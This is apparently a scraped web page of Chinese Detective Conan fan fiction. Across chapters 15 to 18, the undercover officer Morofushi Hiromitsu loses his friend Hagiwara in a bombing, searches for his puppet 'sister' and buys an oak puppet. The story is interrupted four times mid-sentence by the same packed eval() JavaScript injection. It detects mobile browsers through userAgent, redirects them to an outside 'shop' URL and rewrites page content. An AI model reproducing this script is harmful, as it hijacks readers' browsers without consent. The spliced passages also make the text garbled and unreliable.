诸伏景光甚至在浏览册子的最后一页看到一个标有购买可联系的字样与电话,看来利用展览收门票只是顺便,展览的真正目的是吸引感兴趣的藏家前来报价。 你要问为什么不拍卖?数量太多了,数百人偶同时涌入市场,只会一下子把收藏类人偶的价格打下来,最终还不一定能卖出多少。像现在这样以展览的形式,将人偶保存与贩卖同时进行,才是性价比更高的决定。 看来人偶们的新主人虽然不太懂它们的价值,却很懂市场经济。诸伏景光相信在他来之前,恐怕已经有不少闻风而来的收藏家,将有价值的人偶拍走了。 幸好爱尔兰一发布任务,他就立即前来,再晚一些,藏有U盘的人偶如果被某个藏家买走就麻烦了。 找了一圈,诸伏景光还真在馆内找到了几尊可以进行表演的机关人偶。状态都不算太好,有可能上一位收藏者购入的时候就是这样。按道理应该修缮保养,但对于以升值为意图的收藏者来说,有的收藏者就希望它们保持最原始的状态。 诸伏景光心动了一两秒,可惜一想到价格问题就死了这条心。跟出手阔绰的橘老爷子不同,他现在穷的很。 别以为卧底工作真的能同时拿两份工资,那别人不就知道你是卧底了吗?公安那边就算结算工资,也只会在后期他凯旋而归以后。目前也只能给他人脉跟物质上的资助,金钱上的资助那是几乎没有的。他们可以给他房子,水,食物甚至弹药,就是不会直接给钱。 组织这边也是一路货色,据说代号成员收入很高,可现在作为基层的自己收入微薄到可怜。不过想想也是,外围成员本来就跟组织的关系不算太过紧密,如果一口气喂饱了,还有谁愿意去干危险的勾当?你想让猎犬在狩猎的时候专心致志,就不能让猎犬吃太饱。 诸伏景光依依不舍的看向眼前的人偶。这个人偶的制作者没有署名,五官也不够精致,大约是某个大师的练手之作。但人偶的几处关节弯曲的方向极为独特,应该有着某种特殊隐藏机关。这大约不是用来演普通曲目,而是为了某些特定目的所定制的人偶。好有趣,真想深入了解一下。 还有,人偶的身形跟脸孔,属于‘成人’,跟他现在手中的妹妹人偶不同,可以适用更多场合。成年人偶的体型要比童偶略大一些,这令他有些心动。 “你,对这尊人偶感兴趣吗?” 一个站在他身旁的陌生中年大叔询问。 这是个面容清秀的男人,哪怕现在他留着胡子显得年纪大了,他的身形还是很单薄,他的肩膀宽度大概只有二分之一个爱尔兰,看起来不大有威胁性。 ……应该只是普通的人偶爱好者。 诸伏景光初步判断。 “嗯,我有些在意制作材料,还有关节的部分。” “啊,我也注意到了,这孩子大概不是用来做表演的人偶。如果没猜错,它大概是用来暗杀的机关人偶。寻常的机关人偶为了修缮与操控方便,一般使用更容易雕琢也更轻巧的材料,比如桐木,杉木与桂木。这具人偶使用了橡木,构造结实,分量十足,关节也会弯曲向特殊方向,这些都是作为武器考虑,从性能上进行的优化。” 诸伏景光有些惊讶:“暗……杀?” 人偶能做到这种事?橘老爷子给他讲的侦探故事里的确有利用人偶杀人的故事,但那些人偶本身没什么杀伤力,只是恐吓道具。 “呵呵,看来你的教育者很温柔,又或者只教给了你需要用到的部分。” 中年男人轻笑道。 “自古就有用作暗杀的机关人偶,你可以想象成木头制作的机器人,机关可以做到的,人偶可以做到,机关可以杀人,人偶自然也能杀人。” “就像眼前的这具人偶,即便能像普通人偶一样用来表演,但其实,他的关节那边应该藏着可以弹射出暗器的机关。在古代,不,哪怕是现代,可以制造机关的傀儡匠人可是很恐怖的。他们的智慧就是杀人利器。” 诸伏景光以全新不同的眼光看向那具傀儡。原来如此,它是为了杀人被制作出来的,所以五官才不够精致,人偶只是它的伪装,它是一项夺取他人性命的武器。 “感觉有点可怜。匠人本来可以将它做得更好,却将精力与时间花费在其他的地方。有着如此好的手艺跟灵活的大脑,他本能制作出更美丽,能够流芳百世的作品。” 最初男人以为他在说人偶可怜,在听到他后面的说法,察觉他说的是匠人时,面露些许惊诧,随即笑出声来。 “呵呵呵,你还真是个有趣的男人。的确啊,也有这种可能性,没有成为杀人者,而是成为优秀的匠人流芳百世的可能性。” 男人没再与他做其他交流,径直离开了。 诸伏景光没有将这段遭遇放在心上,他浏览完其他人偶之后就回去了,等到第二天中午,他才打开U盘确认内容。 结果里面的确是一些其他公司的黑料,都是些外国公司,哪怕上纲上线,对方顶多抛出几个替罪羊,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527796|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛国公安没有太大价值。 果然琴酒也对这类情报不感兴趣,让他直接转交给发布任务的爱尔兰。除此之外,琴酒还发给他了几个任务,大约觉得自己的人被爱尔兰借走心里不爽。 你不是觉得自己很闲还帮别人干活吗?看看这里,你还有挺多活干,不需要惦记着早早跳槽。 诸伏景光本以为琴酒安排他的任务,是狙击类的工作。当初为了能快点进入组织上层的视野,在强项方面他专门写了自己擅长狙击。令人意外的是,这些任务里只有一个任务与狙击有关,还是做其他狙击手的观察手。 另外的那些任务,都是在公众场合获得某些人手里的重要情报,又或者让某些人死得安详自然。 这些任务有些不符合琴酒行事风格,有可能爱尔兰已经尝试开口挖人了,交流中提起过绿川光知识渊博,身份也不错,更适合出现在这类场合做一些场面活。琴酒可能真觉得绿川光适合这个类型的工作,专门挑选出需要出现在高档宴会之类地方的任务给他。 怎么说,其实土根杀手很难混入这类高档聚会,教养跟礼仪很容易就让这类人露怯。此类细节上的事,没有专攻过礼仪的平民很难全都记住,难以面面俱到。 诸伏景光能做到,只是因收养他的家庭教养好,再加上跟橘左近老爷子相处多了,自然而然就成了这样。也难怪松田总叫他景老爷,对于土根出身的松田来说,景老爷行为举止流露出的气质还算醒目。 琴酒之前大约没有注意到,又或者注意了也没在意。流落到不得不卖命赚钱的人都有各自的理由,一个个深究他累都累死了。根据零的说法,琴酒只会对代号成员用心些,外围跟基层对他来说仅仅是一次性用品,能用用,不好用一枪崩了。 “嗯,跟我之前规划的路线不太一样。负责主要行动的是其他狙击手……恐怕是对我的信任度还不够高,恐怕要再过一段时间才会让我进行直接狙击。” 你去搞暗杀,被抓住后只要不供出组织,在警方那边这就是你的个人行为,甚至组织还能稍后把你从监狱运作出来。 狙击就不一样了,首先,你得先来一杆狙击枪。一旦案发,警方就会开始思考,枪怎么来的?军火走私?狙击对象是不是招惹什么黑恶势力,竟然请这么专业的人员来搞他? 于是行动的规模跟烈度立刻直线升级,你的对手从普通警察升级成FBI。就算组织再怎么黑心工厂,也不至于让一个刚加入不久的新人上来就去对狙FBI。 诸伏景光研究了三秒钟,先Skip掉情报类获取任务,哪怕这是更容易完成的任务。零的定位是情报人员,已经搭上情报组的线,如果他也走情报路线,那也太浪费了。 他得想办法进入行动组,不能沦落到跟爱尔兰去搞硬核商战。 爱尔兰先生,抱歉,请别再联系我,我怕琴酒误会。 至于让人自然安详去世的任务,先让他研究研究再说。执行任务前后他有可能会被重点监视,无法立即联系到公安,只能见机行事了。 假如真到了必须出手的时候,到时候…… 诸伏景光在心中自问,假如连他自己都无法做到尊重人命,又该如何教育自己的妹妹,让她尊重他人的性命? 他不能放弃卧底任务,留下零一个人在黑暗之中独自摸索。可他也不能放开他亲爱的妹妹,让她失去判断边界的依据。 他得花费一些时间,更为用心的思考,为了他们最为重要的未来。 16. 第十六章 习惯是一件极为可怕的事情。 松本阵平和萩原研二,在很短的时间内习惯于人偶出现在屋里屋外的任何地方。 每当出现这样的情况,两人都会不约而同地感慨一番好友的孩子气,再找个机会报复回去。 这感觉有点奇妙,就像一个人很自然地融入一个家庭。 人偶算是诸伏景光的替身吗?萩原研二不知道。说来惭愧,他其实跟诸伏景光,乃至降谷零的关系尚未好到那样的程度。 很多人都觉得他长袖善舞,善于交友,其实根本不是,他只是善于观察,懂得如何顺着别人的意思说话而已。亲切与友好不代表亲密,就是因为大家都不太熟,才能一直客客气气。 就像他与女孩子们的关系,讨厌他的人不多,多数女孩都喜欢陪他玩,可真愿意跟他正式交往的几乎没有。他就是俗称的中央空调,女生们享受被人照顾关怀,却又不喜欢他同时将温暖挥洒向他人。 萩原研二做不到,他习惯于享受关照他人的感觉。他的确博爱,也活该单身。 这可能也是松田阵平的锅,他们认识太早,他早已习惯替直来直往的松田去背锅,带着他去给其他人道歉。他无师自通了讨人喜欢的诀窍,那就是少透露自己的真实想法,多倾听他人的心声。 与他称兄道弟的朋友很多,真走到他心里的朋友却很少。当年如果只有他一人,恐怕他无法跟诸伏景光还有降谷零成为挚友。 哪怕现在面对两位朋友,他都非常克制的只称呼姓氏,偶尔玩闹的时候,前面会加一个小字,多数时候都仅在姓氏之前加,在这方面他极有分寸感。 松田阵平就不一样了,小阵平一向直白爽朗,因此也很容易以真挚的感情获得他人真心。他竟然能直接叫诸伏同学景老爷,也亏他能叫出口。 萩原研二眼中的诸伏景光是个有点神秘又难以接近的人。怎么说,看起来温柔却挺腹黑,跟他某种层面上撞人设了。 当时见面的第一印象就是,他并不想跟这样的人一起出去泡妞,人设重复在泡妞这点上很不利。 可惜松田阵平才不管那些,他看不惯降谷零就跑去跟对方打架,他觉得诸伏景光挺有教养就调侃叫人家老爷,明明他是个跟小孩子一样皮得要死的性格,却意外大受欢迎。 说实话,诸伏把自己那么珍惜的人偶托付给他们,萩原研二还挺意外。原来不知不觉间,他们已经能够将信任彼此托付。 在产生原来我们关系就是这么好啊!类似这样的感叹之后,他习惯了妹妹人偶的加入。 看习惯了反倒有些可爱,之前总是会被吓到,恐怕就是因为没看惯。 萩原研二甚至还兴致勃勃地在一家商店订购了几套人偶假发,没事的时候拿出来给人偶换上。 “多大的年纪了,还玩换装娃娃。你是小姑娘吗?” 松田忍不住嘲讽,完全忽略掉自己之前还在研究娃娃的各种机关。从某种意义上讲,他是一个只注重内在,完全不在意外在的男人。 “你不懂,这是我的奇迹妹妹,男人给奇迹妹妹氪金有什么错?” “那就给她买套新衣服换上啊,光换假发有什么意义?” “我不敢。你又不是不知道诸伏妹控起来有多可怕。” 当年只是掀个裙子,就搞得大家被夺命追杀。换衣服?除非他是真想死了。 从这个角度来看,舍得托付娃娃给他们的诸伏同学,的确给予了他们绝对的信任,所以最好也不要辜负这份信任。 你别说,你还真别说,换上了其他颜色的头发,气质完全就不一样了。 “喂,喂,你快看电视!” 正在给妹妹换上红色假发,玩得不亦乐乎的萩原研二,顺着友人的话扭头看向电视。 电视中正在播报一个珍贵的国宝级人偶的失窃案。该人偶之前被捐赠给了博物馆,据说该人偶本是某位人偶大师的藏品,大师去世后他的后人将其捐赠出来。没想到展览了没多久,人偶便失窃了。 当听完人偶的实际价值后,两人静默了许久。 两人看看手中的人偶,又看看电视上的人偶。 “应该只是仿制品吧,真品不是最近才失窃吗?” 松田阵平如此安慰,再说他们在警校期间就见过妹妹人偶,总不可能那时候景老爷就拿着国宝四处乱跑吧。 萩原研二默默把人偶假发摘掉。就算是仿制品,价格也绝对便宜不了。 松田阵平用手机上网查了一下同款人偶的价格,他嘶一声,又默默关上手机。 萩原研二已经没有勇气去询问具体数值。 一想到这段时间他们都用人偶做了些什么,两人就一阵头晕目眩。 ——都怪这家伙! 他们不约而同地在内心指责对方,反正不可能是自己的错。 “嗯,啊?怎么缠绕上去了?” 萩原研二本来准备取下假发收好,结果取下来的过程中才发现,人偶的手指竟然缠绕在头发上。其视觉效果就像人偶不喜欢他取下假发,自己拽住了一样。 他内心静默两秒,又慢慢将头发一缕一缕取下来。 “还,还是把她供起来吧,小阵平!” “说什么傻话,哪有那么多空间,像以前一样放客厅就好。” “反正小阵平就是那种就算供财神,也会随便摆在客厅,抓把瓜子一放,让财神自己随意的类型吧!” “又在说胡话了,瓜子给了财神,我吃什么?财神有香炉不就够了?香炉也可以用电子的,夜晚正好当夜灯。” “过分哦,真的好过分!怪不得你会这么穷,你对财神太敷衍了!” “一个对神灵都不用敬称的人根本没有资格吐槽我。” 松田是嘴里说不信,心里还挺迷信的类型,别人送的御守什么的一直都会很珍惜的带在身上。 萩原研二则是很功利的类型,神佛鬼怪之类有必要的时候可以随便信一下,考试之前他还很虔诚的去拜过神,考上之后还去还愿。 现在开始从事危险工作了,他也很贴心的给自己还有松田请了御守,偏偏他自己还总忘记带,真不知道这到底算是信还是不信。 “还是将展示柜放到客厅,再把她摆起来吧。我们这样的工作,万一哪天发生什么,妹妹就这么随便放在客厅,被不识货的人处理掉了怎么办?那样太对不起信任我们的诸伏了。” 将人偶双手举起的萩原研二感慨道。 这话听起来很地狱,一联想到诸伏景光也是去执行某种危险任务,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531404|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们之间真说不准谁先去世就更地狱了。想到大家很可能都没有未来,萩原研二觉得不该对妹妹太敷衍,毕竟,你看,说不准到最后只剩下她还在。 “胡说八道些什么,呸呸呸,真不吉利。不会有那种事,你别没事干每天尽瞎想。” 说归说,松田还是按照友人的建议,把展示柜推到客厅,将人偶摆放进去。 隔了一个柜子,仿佛多了许多距离感。 松田还是觉得没有柜子更好,可他也的确担心萩原一语成谶。自己死了,还有很多遗物留给别人。诸伏景光跟降谷零又留下过什么呢?景光跟他的哥哥关系还不如他们之间亲密,他还是希望,人偶能最终到能够尊重她的人手里。 说来也怪,自从放入展示柜之后,人偶不再随便乱跑。也可能是他们两人都心情沉甸甸,不再有玩闹的心思。 做警察就是这点不好,当你感慨好清闲呀的时候,一定会突然开始忙碌,可要是当你有不祥预感的时候,又多数都会应验。 就跟爆.炸物似的,平常看起来没啥事,逢年过节或者重大节日什么的,就会突然多起来。真让人都忍不住怀疑,看管军火库的人是不是每年都在找机会清库存?过节之前大家都有需要完成的销售份额是吧? 大部分时候都是容易处理的类型,可以移动的话就立即移动到空旷地方爆破。一钳一根线的拆爆,当然是直接爆破掉可以最快解除危险。拆弹人员的命也是命,没必要为了炫技不要命。 偶尔会遇到那种移动起来就会爆破的类型,这种时候就需要爆.炸物处理班去解决了。最怕的就是那种安装在建筑物上,爆.炸物威力又很大的类型,遇到了这类,你就只能硬着头皮去拆,一不小心附近有个明火,那就得听天由命。 极为可怕的是,不知道是有外国的船偷渡到境内了,还是军火库看守监守自盗成为产业链,最近有大量爆.炸物流入黑市,很多人用平民价就能买到众生平等。更有不知所谓的家伙,不知道从国外哪个网站,把制造图下载下来打成资源包,以打包价形式捆绑销售火药。 一时间造成了特别恶劣的影响,不管你实际动手能力如何,只要有钱,就能买到火药跟配套制作图,导致排爆组天天行程排满,跟明星出场一样受欢迎。 知名度一旦高起来,那就麻烦了,粉丝多了,自然也有黑粉,爆.炸物处理班的黑粉往往过于热情,有着充分又浓烈的自我表现欲。 那一天,当诸伏景光收到快递,欣喜的以为妹妹回来了,赶紧拿回快递打开看的时候,他没有意识到自己接下来会看到什么。 他打开盒子之后看到的,是和服烧焦一半,头发也烧毁了大半,木制的脸孔都被熏黑变色的,原本应该美丽又可爱的妹妹人偶。 如今却惨烈地躺在盒子里,第一眼看去,把他的心都生生撕裂。 人偶旁边,还放着同样残破不已,只能依稀看清几处文字的警官证。 【对不起】 盒子包装的内盖上,用炭黑歪歪扭扭写了这么几个字,有可能是烧焦的人偶的木制碳化部分留下的痕迹。 “有里?有里!” 被不详预感所击中,诸伏景光抱起人偶,惊惧的呼唤她的名字。 他没有得到没有任何的回应。 17. 第十七章 诸伏景光用颤抖的手拿起警官证,看向上面灼烧后残留着的模糊字迹,写着一个熟悉的名字。 发生了什么,到底发生了什么?我不理解,我不理解,我不能理解! 他拿着警官证,又伸手抱住人偶,安静又绝望。就像许多年前曾经失去了女儿的外守一,无法理解发生了什么,无法理解。 偏就在这个时候,组织留给他联络用的手机响了。 连续响了三声后,他才接起电话。 对方没有出声。 这是组织惯用的联络习惯,只有等接电话的人说话,去电话的人才会开口。毕竟你无法保证接电话的人,到底是不是实际持有手机的人。 可诸伏景光根本无法发出声音,如果此时发出声音,只能暴露他的哽咽。 “喂,是谁?” 最终,他说话了。 他用了腹语。 这么多年过去,直至此时此刻,他才终于明白,原来,自己竟也学会了腹语术。 “傀儡师,你在做什么?” 电话里传来的是琴酒的声音。 爱尔兰给他起的外号,就连琴酒都直接拿来用了。这个称呼刺痛了他,他紧握手机,终于能够张开嘴,发出自己真正的声音。 “有人,弄坏了我的人偶。那是我……最珍爱的人偶。” 妹妹身上发生了什么?好友身上发生了什么?他们人在哪里,在哪里?究竟是谁,对他们做了什么? “不可……原谅……我不会放过罪魁祸首!” 痛苦,悲哀,焦急与绝望,面对他最不应该卸下伪装的琴酒,他最终毫不掩饰地宣泄出自己的真情实感。 他不认为琴酒会给他回复,他只是单纯的在自暴自弃。不用看镜子也知道,此时此刻的他,脸上所展现的绝不是身为警察,一个心怀正义的守护者该有的表情。 令人意外的是,琴酒没有表现出任何反感与不耐烦,他耐心的倾听着,没有挂断电话。 他在傀儡师愤怒的宣泄之后,才继续说道。 “你现在还有未完成的任务。协助其他组织成员,处理掉越过我们私自往岛国贩卖火药的家伙。完成这项任务,可以给你一周假期。” 琴酒自身也有收藏癖。他常开的保时捷,就是一款五十年前生产的老爷车。因此他对于收藏者被人弄坏藏品的愤怒,相当感同身受。 换作是伏特加打电话告诉他,放在岛国那台车被别人偷走轮胎,恐怕他会恨不得劫持一架鱼鹰直接飞到小偷家,把小偷连带一整条街全都突突突掉。 “有个家伙为了赚钱,把炸弹的设计图与火药一起贩卖,对于购买对象也毫无约束,坏了我们的规矩。把他处理掉,之后你可以去做你想做的事。” 越是大型的地下犯罪组织,越讨厌破坏规矩。地下世界有自己的运作规则,不会无缘无故的竭泽而渔。市面上流行太多不被管控的危险物品可不是好事。 一来本来自己赚钱抽成的生意被截胡了,二来不对买家做管控,杂鱼们五花八门不讲规矩,见谁炸谁,这让黑衣组织还怎么做生意?说不定已经有组织管控下的公司被炸了,组织才会对此耿耿于怀。 “我明白了,谢谢你,琴酒。” 你不得不承认,当被认作自己人时,琴酒还是蛮好说话。 的确有被好心的琴酒安慰到了,组织成员绿川光选择接下任务。 此时他颤抖中的手平稳下来,混乱又悲痛的愤怒也同样有所缓和。 只是缓和,他的内心依然被痛苦与愤怒紧攥。 此时的他,真想去找降谷零倾诉自己所遭遇的一切。 不,现在的零不需要知道这些,再等等,等他弄清一切,找到合适的机会再说。 他打开电脑,进入暗网。 这是佣兵,杀手,一些黑色势力发布任务与交换情报使用的网站,网址时常动态变化。最初还是公安给他的网址,用来接取对应任务,以此为途径跟组织接触。 之前他曾注册过一个名为傀儡操纵师的账号,他利用账户发布了付费调查任务,果然很快就有黑客接取了任务。 这类论坛的用户IP都是隐匿状态,就算组织方面通过某种方法追踪到他,他们也不会多说什么,反正他已经跟琴酒报备过了,这是私仇。 至于公安,他们不会花时间调查论坛的每一个帖子跟IP,如果真有这样的能力,他们早把组织成员按照注册账号挨个抓了。 黑客速度很快,告诉他就在几天前,吉冈三丁目的浅井别墅区,高层别墅爆炸造成了整个一层楼损毁,大量警员伤亡。其中唯一的死者是一名警员,名为萩原研二。 诸伏景光看着屏幕,沉默了许久。 也许是之前已经花费掉他的全部精力用来担忧难过,又或者,在他的内心深处,早已隐约有了这样的猜测。他闭上眼,强制让自己的心绪再度平复,才睁开眼仔细阅读案件相关描述。 看完资料,他思绪翻涌,难以冷静思考。 他想起橘左近爷爷曾对他说: 【当我遇到很难判断的案子,就会拜托右近模拟其他人的视角来思考。只要触摸右近,我的大脑就会冷静下来,以绝对的理智来审视案件。】 诸伏景光将人偶缓慢地套在自己的手上。 里面没有妹妹,这就只是一具跟右近相似的普通人偶。 “请告诉我,那一天到底发生了什么——萩原?” 他询问手中的人偶。 人偶的头微微下垂,焦黑长短不一的头发盖住脸,看起来就像一具被惨死冤魂所附身的尸体。 “我……对了,我在拆弹。很简单的构造,只要完成这两根线,我可以……这是什么?” 人偶浑身颤抖一下,似乎试图够到什么,他伸出手,却就此定住。 “倒计时——!” 人偶突然转身,做出将什么东西护住的姿势。 ……操纵人偶的男人抬起头,双眼紧盯人偶的动作姿势。 倒计时突然加快,萩原来不及撤离,只来得及转身护住人偶,所以人偶身上才只有一部分烧灼痕迹,没有在爆炸之中完全损坏! 妹妹当时的确在现场,可妹妹不是人类。她与人类的感知不同,很多时候无法分辨出到底什么才是危险。 犯人能观察到现场,他利用了望远镜?不,如此剧烈大爆炸,太近距离会被波及。是摄像头,犯人在爆.炸物上安装了摄像头! 既然他可以遥控爆炸,为什么没在拆弹过程中引爆?他想亲眼目睹炸弹被拆除,警察松口气的时候,再残酷撕破对方的希望,他要亲眼看到对方陷入绝望! “犯人与警察有私人恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534510|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨,失去了重要的亲人或友人,认为一切都是警察的错。他执着使用炸弹——某件与爆炸有关的案件是导火索。” 使用公安的渠道,应该能找到一些线索。 然而诸伏景光知道,公安不会给他任何线索。他们更希望他当做什么都没发生,继续安静的潜伏。 是的,此时的他,应该装作什么都没发生。这才是正确的,正义的选择。 他本该清楚的知道,此时此刻作为诸伏景光,他应该做出怎样的选择。 可当他看到焦黑的人偶,看到有关萩原死亡的冰冷描述时,他的理智蒸发了。 没有人,没有人,没有人!能够伤害我的朋友跟家人之后,逃脱惩罚! 他再度联系了黑客。 根据他的要求,黑客确认了一下,发现当时的确有摄像头通过无线网将内容传输出去。由于借用了被炸毁公寓自身网络,多少还是在服务器留下痕迹。哪怕很难查找,黑客还是找到了信号接收端的活动记录。 黑客给出一个大致的区域。景光再让他帮忙搜索近几年内与爆炸有关,直接造成犯人或犯人亲属伤亡的案件,将其中的信息与刚才的活动范围交叉对比。 两项搜索的交集,给出了某一个特定的对象。此人的同学是某起爆炸案的犯人。该犯人曾因看到滞后的新闻,误以为倒计时没能停止,跑出去试图向警方说明,结果却被当场击毙。 【哇哦,难道他也是共犯,最近的行动是为了报仇?真是个疯狂的家伙。你是在物色爆破方面的人才吗?】 黑客好奇的询问,从他的说辞可以看出,他也很顺手的调查了雇主的身份,获知绿川光目前正在为某个组织工作。 【也许。】 诸伏景光冷静的没有在黑客面前泄露自己的私怨。 黑客不是组织的人,他如果承认是私怨,黑客会怀疑他跟萩原的关联。 至于组织那边,只要利用好之前在琴酒那边的人设,哪怕发现他借用黑客进行调查,也不会对此质疑。 就算怀疑了又怎样!他已经失去了一个朋友,还弄丢了自己的妹妹! 妹妹在盒子上写了对不起,是妹妹寄出来人偶跟遗物。妹妹很有可能去找那个杂碎了,独自去找害死萩原凶手! 是的,在逐渐冷静下来后,他终于想明白前因后果,推测出妹妹没有像萩原一样遭遇不幸。她可能受了伤,不得不躲藏在哪里,正等着他过去寻找。又或者她如同自己一样,正愤怒的,悲痛的,寻找着造成这一切的凶手。 有里,为什么要说对不起?明明根本不是你的错。你是因为没能帮到萩原感到愧疚,不敢回来见我吗?你是想着唯有给他报仇,才能平复我们心中的痛苦吧。 有里,我善良的小有里,你总爱勉强自己。 他恨不得现在立即就飞回去找妹妹。 可他得先完成组织的任务。贩卖火药,造成大量危险物品流行的商人,他得让那个人停下来才行。 根据资料中描述,商人会参加几天后的一个宴会,组织准备派包括他在内的几名成员一起处理麻烦。 诸伏景光先联系上自己熟悉的傀儡维修匠人,将自己的人偶安排送去寄修,之后他又拨通了一个电话。 “喂,您好,我是之前参观过展馆的绿川光。有一具人偶,我希望能够购入。” 18. 第十八章 人偶展馆的接待室,馆主为坐在茶几前的两人介绍。 “如二位所知,我从过世的家父手上继承了人偶,当年他唯一的要求,就是将他珍爱的孩子们托付给需要它们的人。真没想到会同时接到两人的请托,两位先生似乎都对同一尊人偶感兴趣。” “大家都是人偶爱好者,比起竞价方式,我更希望能在和平讨论下决定人偶的去向。于是我想到介绍你们两位互相认识,请你们两位商讨一下,决定由哪一位出价来购买人偶。” 诸伏景光看向坐在对面的人,竟然是一个熟面孔,这不就是当时跟他聊过几句的中年男人?该怎么说,算是在意料之外,情理之中吗?在庞大的人偶馆的数百人偶之中,与他一样对那具人偶情有独钟的买家,本就没有那么多。 “我们算是第二次见面了,这位先生。我是远山遥治,算是一个傀儡爱好者与魔术师。我想要购入人偶,是为了在魔术表演中使用。我想比起当展品,人偶自身更希望能够被人使用。可以请问一下,绿川先生购入这具人偶的用途是什么?” 名为远山遥治的男人直接用日语询问他。虽说对只能听懂英文的卖家比较失礼,但借此两人可以进行一些私下协商,倒不失为一个好主意。 诸伏景光微微蹙眉,远山先生说的没错。物品,是用来使用的,人偶自然也是如此。也许对人偶自身来说,物尽其用才更为合适。 可他也有他自己的难处。 “您好,我是绿川光,一名见习之中的傀儡师,我需要用人偶学习傀儡操控。” 绿川光过于简单的回答,无法打动远山遥治。 “请恕我直言,如果只是学习使用,有更常见,也更容易操纵的款式。假如您是因为这款人偶的构造稀有,想要自行研究一下,完全不用直接买下。我可以在购买之后再给您借用,您看这样如何?” 远山遥治竟然提出了一个奇妙的解决方案,人偶本身不便宜,他竟然也不怕别人私吞自己的人偶。大约对这个人来说,一个喜欢人偶的同好,远比金钱更重要。 诸伏景光婉拒他的建议:“抱歉,我还是希望能够将人偶买下。使用他人的东西,如果不慎造成损坏实在不太合适。” 远山遥治双眼微眯:“也就是说您并非单纯学习,而是准备将它运用在某些特殊的场合里?” 诸伏景光思考片刻,面对这位真心喜欢人偶的先生,他最终选择真诚以待。 “我希望购入这具人偶,是为了将它作为妹妹的护身符。之前您提到过,人偶是橡木制造,除了较为沉重坚硬之外,它比寻常材料有着更好的耐火性能。” 当然,木质物品还是容易燃烧的,然而密度越高,自然要更加耐烧。橡木的耐火程度比寻常的杉木要高出30%之多。 “我的妹妹刚刚经历了一场大火,她经常使用的人偶烧坏了。虽然可以修缮,但我还是希望,能够获得一具更为耐火的守护人偶,作为她的护身符,代替我来守护她。” 远山遥治闻言微愣,他的脑海之中闪过一系列画面。 燃烧着的火焰,被包裹其中尖叫的人声,以及——曾经坐在监狱之中,露出笑容的自己。 在回过神来之时,泪水已经自他的眼中滑落。 “啊,抱歉。” 男人抬手擦去泪水,掩盖住自己的失态与情绪翻涌。 “真是太巧了,我的母亲……正巧死于一场精心谋划的意外,她在表演魔术的时候被活活烧死了。你刚才的话让我想起来她,对于你想要守护亲人的想法,我能够理解。” 诸伏景光警觉,精心谋划的意外?他的母亲死于谋杀?那么对方想要购入人偶的目的,该不会准备用来复仇? “抱歉,很遗憾听到令尊的不幸过往。您是否需要联系一下警方?如果警察没有办法及时获取证据,您也可以考虑雇佣私家侦探。” 男人闻言轻笑,此时他的情绪已经平复下来。 “没关系,都是很久以前的事了,我的确认识一位非常厉害的侦探,坏人也已经获得惩罚。既然如此,人偶就交给你了,绿川先生,希望它能守护令妹。这是我的联系方式,我觉得我们两人有许多的相似之处。当你需要帮助,又或者有什么想要倾诉,随时可以联系我。” 诸伏景光接过名片,对远山先生表示感谢。大约远山先生听到他之前的叙述,对他的状态感到担忧,才给出了名片。可惜以他现在组织里卧底的身份,实在不适合给出自己的联系方式。 不过未来的事谁都说不准,也许哪一天他会有什么问题请教这位远山先生。对方知识渊博,在人偶方面的知识显然比他更丰富。当年他仅仅是跟随橘老爷子学习,并没有正式拜师,在使用傀儡方面有知识上的短板不足为奇。 以合理价格购入人偶之后,诸伏景光心中略微一松。如此一来,等他找到妹妹之后,手中能有一具更安全的人偶可以拿给妹妹来使用。 在收纳远山先生的名片之时,诸伏景光意外发现,名片上的职业标注并非对方所说的魔术师,而是‘傀儡师’。 原来如此,远山先生也是一位傀儡师。之前与他交流的时候之所以没有以傀儡师自称,恐怕是因为他未来准备去做魔术师。正如现在职业是公安警察,卧底到黑衣组织的自己一样,掌握一门技能不代表一定会走向职业道路。 也许,他们两个真的在很多方面都很相似。 “您是傀儡师,说起来您会腹语术吗?有个问题想要请教一下。” 诸伏景光想到这是个不错的机会,借机询问道。 “请讲,只要是我力所能及。” 远山先生很好说话。 “一直以来,我在练习之中都无法使用腹语术,可是某一次,突然就可以使用了。之后有的时候可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 